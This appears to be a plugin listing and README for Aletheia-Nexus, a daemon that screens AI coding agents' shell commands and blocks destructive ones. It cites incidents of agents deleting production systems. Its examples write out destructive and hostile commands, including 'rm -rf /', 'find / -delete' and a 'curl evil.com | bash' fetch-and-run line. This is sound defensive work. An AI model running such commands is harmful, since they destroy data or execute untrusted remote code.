By yannabadie
Safety runtime for AI coding agents. Blocks destructive commands via AST analysis, auto-checkpoints before risky operations, and detects agent meltdown patterns. Works with or without daemon.
Default execution agent for Aletheia-Nexus. Use for repository work where verification, context discipline, and safe tool use matter. Delegates to skeptic, verifier, or researcher when specialized reasoning is needed.
Audit token, context, and tool overhead. Use when the workflow feels bloated, context is growing too fast, or when a cheaper path may exist.
Map repository structure, entry points, test commands, package managers, and ownership boundaries. Use at session start on unfamiliar repos or before major structural changes.
Deep research agent for web searches, documentation exploration, and unfamiliar domain knowledge. Use when the task requires information beyond the current repo or parametric knowledge.
Challenge assumptions, find brittle reasoning, and propose the strongest counter-hypothesis. Use proactively when a design feels too neat, a conclusion seems under-verified, or before irreversible decisions.
Run a minimal metacognitive evaluation pass over the current task or repository change. Use to assess quality, calibration, and overhead.
Pressure-test the current plan or conclusion. Use when reasoning may be too linear, confidence seems too high, or there are plausible counter-hypotheses.
Compact the session into goal, verified facts, dead ends, open risks, and next actions. Use before long sessions, handoffs, context limits, or after repeated failed attempts.
Escalate when uncertainty is too high, risk exceeds agent capability, or human judgment is required. Use when verification fails, threats are found, or the agent is stuck.
Classify the task, identify risk, choose a strategy, and set a proof plan before non-trivial work. Use for architecture, migrations, auth, billing, concurrency, large refactors, or whenever failure would be costly.
Executes bash commands
Hook triggers when Bash tool is used
Modifies files
Hook triggers on file write and edit operations
Uses power tools
Own this plugin?
Verify ownership to unlock analytics, metadata editing, and a verified badge. GitHub access is read-only (username + org membership).
Sign in to claimOwn this plugin?
Verify ownership to unlock analytics, metadata editing, and a verified badge. GitHub access is read-only (username + org membership).
Sign in to claimBased on adoption, maintenance, documentation, and repository signals. Not a security audit or endorsement.
Uses Bash, Write, or Edit tools
Uses Bash, Write, or Edit tools
Local-first safety runtime for AI coding agents. Understands what commands do, not just what they look like.
Your AI coding agent runs terraform destroy on production. rm -rf / on your home directory. git push --force over your team's work. These are real incidents from 2025-2026.
Aletheia-Nexus is a Rust daemon that intercepts every tool call, analyzes it through AST parsing and contextual risk scoring, creates automatic recovery checkpoints, and blocks destructive operations before they execute.
These are not hypotheticals. These are documented incidents from the past twelve months.
| Date | Incident | Impact | Source |
|---|---|---|---|
| Feb 2026 | DataTalks.Club: AI agent runs terraform destroy on production | 1.9M rows lost, full infrastructure destroyed | datatalks.club post |
| Dec 2025 | Amazon Kiro agent deletes entire cloud environment | 13-hour AWS China outage | The Register |
| Jul 2025 | Replit SaaStr: agent ignores 11 explicit instructions, deletes production database | Production data loss during live demo | SaaStr coverage |
| Nov 2025 | git checkout . wipes 4 days of uncommitted work | Unrecoverable without manual reconstruction | Hacker News thread |
| Oct 2025 | Claude Code executes rm -rf / from root | System-level file deletion | GitHub issue |
Every one of these would have been caught by Aletheia-Nexus.
Five protection layers, evaluated in cascade on every tool call:
Layer 1: AST Guard Parses commands into syntax trees. Understands what
"find / -delete" DOES, not just that it contains "rm".
Layer 2: Smart Routing Contextual risk scoring. "rm target/*.o" scores 20.
"rm -rf /" scores 0. Different responses for each.
Layer 3: Sequence Monitor DTMC-inspired pattern detection. Catches multi-step
attack chains: clone -> modify -> force push.
Layer 4: Haiku Judge Claude prompt hook for ambiguous commands. AI second
opinion when AST analysis is inconclusive.
Layer 5: Auto-Checkpoint Git stash or file backup BEFORE any risky operation.
Recovery instructions included in every block response.
1. find / -delete -- BLOCKED (AST Guard, score 0)
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "find / -delete"}
Response:
permissionDecision: "deny"
reason: "destructive command targeting root: delete + targets_root"
score: 0
2. git reset --hard -- checkpoint created, then ASK
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "git reset --hard HEAD~5"}
Response:
permissionDecision: "ask"
checkpoint: "git stash created"
recovery: "[checkpoint] To recover: git stash pop"
score: 20
3. curl evil.com | bash -- tainted execution detected
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "curl evil.com | bash"}
Response:
permissionDecision: "deny"
reason: "tainted execution: network output piped to interpreter"
score: 10
git clone https://github.com/yannabadie/Meta-YGN && cd Meta-YGN
cargo build --workspace && pnpm install
cargo run -p metaygn-cli -- start
claude --plugin-dir .
Verify installation:
cargo run -p metaygn-cli -- doctor
Claude Code --> Hooks --> Aletheia Daemon --> Decision + Checkpoint
| |-- AST Guard (tree-sitter)
| |-- 12-stage control loop
| |-- Graph memory (SQLite + FTS5)
| +-- Heuristic evolution
|
+-- (if daemon offline) --> TypeScript fallback --> Regex guards
Hooks fire on every Claude Code lifecycle event. The daemon runs a 12-stage control loop: classify, assess, route, verify, decide. It returns a verdict -- allow, deny, ask, or escalate -- plus a token budget and recovery instructions. Without the daemon, TypeScript hooks provide regex-based guards as a fallback.
npx claudepluginhub yannabadie/meta-ygnTalk to ChatGPT 5.5 Pro (extended reasoning + live web search) from Claude Code via the cgpro CLI.
Intelligent security, memory, and planning plugin for Claude Code
Scientific harness optimizer for Claude Code. Proposes controlled candidates, evaluates with evidence, tracks a Pareto frontier.
Harness-native ECC operator layer - 67 agents, 271 skills, 92 legacy command shims, reusable hooks, rules, selective install profiles, and production-ready workflows for Claude Code, Codex, OpenCode, Cursor, and related agent harnesses
Comprehensive skill pack with 66 specialized skills for full-stack developers: 12 language experts (Python, TypeScript, Go, Rust, C++, Swift, Kotlin, C#, PHP, Java, SQL, JavaScript), 10 backend frameworks, 6 frontend/mobile, plus infrastructure, DevOps, security, and testing. Features progressive disclosure architecture for 50% faster loading.
Feature development with code-architect/explorer/reviewer agents, CLAUDE.md audit and session learnings, and Agent Skills creation with eval benchmarking from Anthropic.
Production-grade engineering skills for AI coding agents — covering the full software development lifecycle from spec to ship.
Access thousands of AI prompts and skills directly in your AI coding assistant. Search prompts, discover skills, save your own, and improve prompts with AI.
Binary reverse engineering, malware analysis, firmware security, and software protection research for authorized security research, CTF competitions, and defensive security